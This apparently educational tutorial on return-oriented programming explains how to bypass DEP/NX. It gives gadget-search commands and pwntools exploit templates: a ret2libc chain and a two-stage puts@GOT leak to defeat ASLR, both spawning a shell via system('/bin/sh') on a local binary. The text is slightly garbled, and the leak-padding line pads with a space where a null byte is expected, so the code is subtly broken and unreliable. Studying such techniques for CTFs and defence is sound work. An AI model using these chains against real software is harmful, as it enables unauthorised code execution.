Why ROP?
DEP/NX marks the stack as non-executable โ shellcode injected onto the stack will trigger a fault when jumped to. ROP solves this by chaining small existing code snippets ("gadgets") that end in a RET instruction. You control the stack and place gadget addresses followed by their arguments. The CPU executes them sequentially without ever running code from a data region.
Finding Gadgets
# ROPgadget
ROPgadget --binary ./vuln --rop | grep ": pop rdi ; ret"
ROPgadget --binary ./vuln --string "/bin/sh"
# ropper
ropper -f ./vuln --search "pop rdi"
# pwndbg checksec
checksec ./vuln # shows NX, canary, PIE, RELRO status
ret2libc Without ASLR
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = 0x401234 # from ROPgadget
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
ret_gadget = 0x401235 # alignment gadget (required on x64)
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret_gadget)
payload += p64(system)
Defeating ASLR With a Libc Leak
pop_rdi = 0x401234
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_fn = elf.sym['main']
# Stage 1: leak puts@GOT to get libc base
payload = b'A' * offset
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_fn) # return to main for stage 2
p = process('./vuln')
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b' '))
libc_base = leak - libc.sym['puts']
# Stage 2: call system("/bin/sh") with resolved addresses
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))